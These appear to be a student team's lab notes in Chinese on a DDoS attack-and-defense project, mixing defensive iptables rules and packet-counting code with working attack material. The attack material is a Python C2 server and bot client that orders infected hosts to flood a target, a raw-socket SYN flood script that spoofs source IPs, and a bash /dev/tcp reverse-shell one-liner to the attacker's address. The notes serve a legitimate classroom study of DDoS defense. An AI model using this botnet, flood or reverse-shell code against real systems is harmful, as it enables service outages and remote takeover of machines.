# 4/21 DDOS ![](https://i.imgur.com/ulQ1M9B.png) [TOC] ## 目標 5/6 -> 報告 要如何 呈現 攻擊的實驗 ## 報告大綱 前言 文獻探討 系統架構 提出的方法 實驗(實驗參數,比較的方法) 總結 ## 本周會議研究問題 ### 防禦 要如何得知 攻擊者惡意行為? 分析流量的部分 ## TODO 1. 受害者(主機) 檢測封包 2. 判斷 好/壞 封包 (判斷的依據: 頻寬) 3. 下規則(暫定iptable) 到 防火牆(阻擋封包) ## 討論 架構圖這樣寫是否ok? 影片實驗是否有問題? ## chatGPT 問答 Q1: 在一個DDOS模擬環境中 如何在被攻擊端的主機上完成以下任務 1. 分別計算攻擊方(多個, 以IP或mac 作為ID) 單位時間的傳輸資料量 2. 如何透過設定一個閾值 將超過特定單位時間的傳輸資料量 的來源端的所有封包都drop > 在DDOS模擬環境中,如果要完成上述任務,可以採用以下方法: 分別計算攻擊方的單位時間的傳輸數據量 可以使用網絡流量分析工具(例如tcpdump、Wireshark等)來監測網絡流量,從而計算攻擊方的單位時間傳輸數據量。這些工具可以在受攻擊的主機上運行,並以IP或MAC地址為ID,捕獲所有進出主機的網絡數據包,並且可以使用統計功能計算每個攻擊方的單位時間的傳輸數據量。 如何通過設置一個閾值將超過特定單位時間的傳輸數據量的源端的所有數據包都drop 可以使用防火牆或網絡安全設備來設置閾值,從而過濾超過特定單位時間傳輸數據量的源端的所有數據包。當防火牆或網絡安全設備檢測到流量超過設定的閾值時,可以使用ACL規則來阻止該源的數據包進入網絡,並將其drop。可以設置不同的閾值來適應不同的攻擊類型,以確保防禦措施的效果最大化。 ### 資源 [Tcpdump用法](https://www.cnblogs.com/renxinyuan/p/4252019.html) ### 筆記 ### 專案雛形 #### 攻擊 至少可以讓防禦方無法提供服務(網頁伺服器) #### 防禦 分類出攻擊方與一般使用者 並 針對攻擊方設定規則 #### 資訊可視化 1. 隨時監測 防禦方 可用頻寬(被攻擊時預期看到類似曲線)![](https://i.imgur.com/mtDDwXN.png) 2. 分別看到不同攻擊方的 流量資訊(速度、頻寬?) (進階) 看到 一般使用者封包正確接收率 (需要使用者主動傳送 "傳送封包總數" 再加防禦方實際接收量 計算接收率) ## 目前遇到的問題 1. 攻擊方不夠給力(周名初用socket + thread 測試) 沒辦法癱瘓網頁伺服器 (solved) 3. 沒有具體的數據說明 防禦方 的可用性(例如 還有多少頻寬可提供服務) 4. (4/21)還沒有用攻擊工具 測試過 能不能 讓防禦方無法提供服務 (solved) 5. (4/23)不知道怎麼將惡意程式腳本下載到其他host並執行 ## 分工 ### markerpen 1. 惡意程式腳本 目前透過server端(攻擊者),向其他host植入client端程式,只要server端向client端發送指令,所有的host都開始向目標IP建立連線 以下是client端的code import socket import threading IP = "192.168.00.01" PORT = 8080 def DDos(Dos_Socket , targetIP , port) : Dos_Socket.connect((targetIP , port)) Dos_Socket.send("Hello") with socket.socket(socket.AF_INET , socket.SOCK_STREAM) as Socket : Socket.connect((IP , PORT)) while True : message = Socket.recv(1024) message = message.decode() if len(message)<1 : continue targetIP , action = message.split(" ") DOSOCKET = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if action == "exe" : DOSOCKET = threading.Thread(target=DDos , args=(DOSOCKET,targetIP,PORT)) DOSOCKET.start() else : try : DOSOCKET.close() except : continue 以下是server端的程式 import socket import threading IP = '0.0.0.0' PORT = 8080 ClientList = [] def main(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((IP, PORT)) server.listen(5) print(f'[*] Listening on {IP}:{PORT}') while True: client, address = server.accept() ClientList.append(client) print(f'[*] Accepted connection from {address[0]}:{address[1]}') client_handler = threading.Thread(target=handle_client, args=(ClientList,)) client_handler.start() def handle_client(ClientList): while True : targetIP = input("Enter targetIP : ") action = input("Enter action : ") message = targetIP + " " + action for client in ClientList : client.send(message.encode()) main() ### Name ### 侯智晟 1. 攻擊方 阻斷服務 應該能夠試試 hping3 SYN 來試試看 看他回應時間 有沒有變長 ![](https://i.imgur.com/2p3XkaA.png) ![](https://i.imgur.com/u3t68Gj.png) ![](https://i.imgur.com/VzUXL2l.png) ![](https://i.imgur.com/IBEW1ps.png) ![](https://i.imgur.com/FWCcn9s.png) 他有98.387 packet loss ![](https://i.imgur.com/uMnC03M.png) 2 C2 Server 建立 --- Armitage https://github.com/Intek13x/armitage ![](https://i.imgur.com/SSQyv8i.png) Creating a Listener in Armitage ![](https://i.imgur.com/ywgy6qM.png) ``` host:127.0.0.1 port 55555 Account : meowhecker Password: meowhecker ``` Reverse shell ``` bash -c '0<&103-;exec 103<>/dev/tcp/192.168.203.151/443;sh <&103 >&103 2>&103' ``` ![](https://i.imgur.com/i54wU6b.png) ![](https://i.imgur.com/zuXpzv2.png) firewall RULE iptables -N synfoold ``` Chain synfoold (0 references) target prot opt source destination ``` iptables -A synfoold -p tcp --syn -m limit --limit 1/s -j RETURN ``` Chain synfoold (0 references) target prot opt source destination RETURN tcp -- anywhere anywhere tcp flags:FIN,SYN,RST,ACK/SYN limit: avg 1000/sec burst 5 ``` iptables -A synfoold -p tcp -j REJECT --reject-with tcp-reset ``` REJECT tcp -- anywhere anywhere reject-with tcp-reset ``` iptables -A INPUT -p tcp -m state --state NEW -j synfoold 防火牆 Rules 會加到 林廣哲的 抓包 Script ```python def rule(pack_count): #meowhecker for sourceIP, packetNum in pkt_count.items(): print(f"check {sourceIP}:{packetNum}") if packetNum > 1500: print(f'{sourceIP} is Bad guy!!!') os.system(f'iptables -t filter -A INPUT -j DROP -s {sourceIP}') ``` #### 架構圖 ICMP Flooding Syn Flooding ![](https://i.imgur.com/Ds682x6.png) 多threading -> client Port 遞增 ![](https://i.imgur.com/XkLSMHi.png) SYN ![](https://i.imgur.com/fEQCVRg.png) ACK ![](https://i.imgur.com/QloS2UZ.png) 192.168.203.151 Attacker 192.168.203.141 Victim --- ICMP Flooding ![](https://i.imgur.com/C5TIjXK.png) 192.168.203.151 Attacker 192.168.203.141 Victim #### 流程圖 Flow Chart ![](https://i.imgur.com/I3uYjIw.png) Attack ![](https://i.imgur.com/cKuyGC1.png) Defense ![](https://i.imgur.com/uQlXe47.png) MAC Block Rule ``` iptables -A INPUT -m mac --mac-source 00:0c:29:45:2d:c2 -j DROP ``` ### 林廣哲 1. 防禦方 流量統計 (我先來用這個 等下遇到問題再回來紀錄) 可能是因為攻擊方跟防禦方在同台機器測試所以沒抓到 或是 以下指令有問題 $ sudo tcpdump -i ens33 -w capture.pcap tcp and dst host 10.0.0.3 tcpdump: eth0: No such device exists (SIOCGIFHWADDR: No such device) 其他明天早上繼續 1. 在其他地方跑 攻擊 2. 檢查 sudo tcpdump -i eth0 -w capture.pcap tcp and dst host [HOST_IP] sudo: 以管理員權限運行 tcpdump tcpdump: 執行 tcpdump 工具 -i eth0: 指定網路接口為 eth0,表示捕獲該接口上的封包 -w capture.pcap: 將捕獲到的封包寫入檔案 capture.pcap 中,可以在後續進行分析 tcp and dst host 10.0.0.3: 設置過濾器,只捕獲目的地為 IP 位址為 10.0.0.3 的 TCP 封包。 我臨時用tcp syn flooding的方式 模擬攻擊者 > attack_syn.py 執行: sudo python3 attack_syn.py :::spoiler attack_syn.py ``` import random import socket import struct import sys # 目标IP和端口 target_ip = "192.168.245.140" # 防禦方IP 要改 target_port = 80 # 发送攻击的数量 packet_count = 1000 # 伪造的源IP地址范围 src_ip_start = "10.0.0.3" src_ip_end = "10.0.0.254" # 构造攻击数据包 def build_packet(): # 伪造的源IP地址 src_ip = socket.inet_ntoa(struct.pack('>I', random.randint(struct.unpack('>I', socket.inet_aton(src_ip_start))[0], struct.unpack('>I', socket.inet_aton(src_ip_end))[0]))) # 构造TCP SYN数据包 tcp_header = struct.pack('!HHLLBBHHH', random.randint(1024, 65535), target_port, 0, 0, 5, 2, 8192, 0, 0) ip_header = struct.pack('!BBHHHBBH4s4s', 69, 0, 40, 12345, 0, 64, 6, 0, socket.inet_aton(src_ip), socket.inet_aton(target_ip)) packet = ip_header + tcp_header return packet # 发送攻击数据包 def send_packet(): try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) except socket.error: print('Socket could not be created.') sys.exit() packet = build_packet() try: s.sendto(packet, (target_ip, 0)) except socket.error: print('Packet could not be sent.') sys.exit() # 发送攻击 import time # for i in range(packet_count): while 1: send_packet() # time.sleep(0.5) # print(i) ``` ::: 資源 > 已測試過的iptables規則 [source](https://magiclen.org/ubuntu-server-iptables-save-permanently/) 1. 查看規則 `sudo iptables -L` 2. 清空所有規則 `sudo iptables -P INPUT ACCEPT && sudo iptables -P FORWARD ACCEPT && sudo iptables -P OUTPUT ACCEPT && sudo iptables -F && sudo iptables -t nat -F && sudo iptables -t mangle -F` 3. 保存規則 `sudo iptables-save > iptables.conf` 4. 載入規則 `sudo iptables-restore < iptables.conf` [hping3模擬各種攻擊的命令](https://blog.csdn.net/weixin_39707597/article/details/111255275) [【DDOS】巧用iptables 幾招搞定SYN洪水攻擊!](https://blog.csdn.net/enweitech/article/details/89520969) [iptable對於不同攻擊手法的規則設定](https://github.com/sammwyy/ddos-mitigation) iptable-ChatGPT回答 未測試 ``` 查詢 iptables 設置 iptables -L # 查看當前 iptables 設置 iptables -L -n # 以數字格式顯示,不解析域名 iptables -L -v # 顯示更多信息,如數據包數量和流量大小等 iptables -L -t nat # 查看 NAT 表 新增規則 iptables -A INPUT -s 192.168.1.0/24 -j ACCEPT # 允許來自 192.168.1.0/24 的數據包進入 此命令將添加一條 INPUT 鏈的規則,如果來源地址是 192.168.1.0/24 網段,就將其接受。 如果需要限制協議、端口號或目的地等,可以添加更多的選項,例如: iptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT # 允許來自 192.168.1.0/24 的 TCP 協議,目的地端口號為 22 的數據包進入 刪除規則 iptables -D INPUT -s 192.168.1.0/24 -j ACCEPT # 刪除和上面新增規則相同的規則 此命令將從 INPUT 鏈中刪除和上面新增規則相同的規則。 需要注意的是,使用 -A 增加規則時,iptables 會將其添加到鏈的末尾。如果有多條規則,且某條規則應用更為廣泛,可能會將後面的規則阻止。因此,建議在添加規則時使用 -I 選項,以確保新的規則在更早的位置,例如: iptables -I INPUT 1 -s 192.168.1.0/24 -j ACCEPT # 在 INPUT 鏈的第一個位置添加規則 修改規則 iptables 不支持直接修改一條已有的規則,需要先刪除該規則,然後重新添加修改後的規則。 其他常用選項 iptables -P INPUT DROP # 默認拒絕所有數據包進入 iptables -F INPUT # 清空 INPUT 鏈中所有規則 iptables -X # 刪除自定義的 保存和加載規則 當系統重啟或者 iptables 服務重啟時,iptables 設置會被重置,需要重新設置。為了避免這種情況,可以使用以下命令將規則保存到文件中: iptables-save > /etc/sysconfig/iptables # 將當前 iptables 設置保存到文件中 如果需要加載保存的規則,可以使用以下命令: iptables-restore < /etc/sysconfig/iptables # 從文件中加載 iptables 設置 對 iptables 的操作進行防錯保護 當在操作 iptables 時,如果出現錯誤,可能會導致網絡失去連接。為了避免這種情況,可以在每次修改 iptables 設置之前,先將當前的規則備份到一個文件中,以便在出現問題時可以快速恢復。以下是一個簡單的例子: iptables-save > /root/iptables.bak # 在操作 iptables 之前,先備份當前 iptables 設置 iptables -A INPUT -s 192.168.1.0/24 -j ACCEPT 如果出現錯誤,可以恢復之前的設置 iptables-restore < /root/iptables.bak ``` Github專案 [一個大型的防禦專案: PoW-Shield](https://github.com/RuiSiang/PoW-Shield) [未執行 只有ryu的DDOS防禦](https://github.com/kiranpvgithub/DDos-Mitigation-Ryu) [未執行 botnet](https://github.com/farhan3/py-botnet) 參考 [DDOS謎思](https://youtu.be/zS6vzQnXqYE) 結論: "只用" "單個" python程式 攻擊網路上真實節點 這種程度的攻擊無法阻斷對方的服務 ex: 只是透過thread還不夠 需要類似殭屍網路->"多個"攻擊者才夠力 我覺得我們目前做的東西比起DDOS更接近DOS, DDOS分成兩個部分 > 以下將攻擊者分為兩類 1. 惡意的壞人att1, 被控制的一般使用者att2 1. 單個攻擊者(att1)主機 怎麼做攻擊? 2. att2如何增加攻擊者(att1)的數量? 我覺得 DDOS 跟 DOS 最大的差別是 攻擊者的數量,所以如何增加攻擊者的數量是一個重要的問題 --> 殭屍網路 所以 比其攻擊 DDOS可能更著重於控制(att1) ## 0426 討論 ### 進度報告 1. 攻擊方-C2 server 2. 攻擊方-botnet 攻擊手法 syn_flooding (hping3) 3. 防禦方 檢測封包 針對封包特性(每秒傳輸次數、數量) 分成 一般使用者、攻擊者 對攻擊者 src_ip、 src_mac 下防火牆規則 ㄑ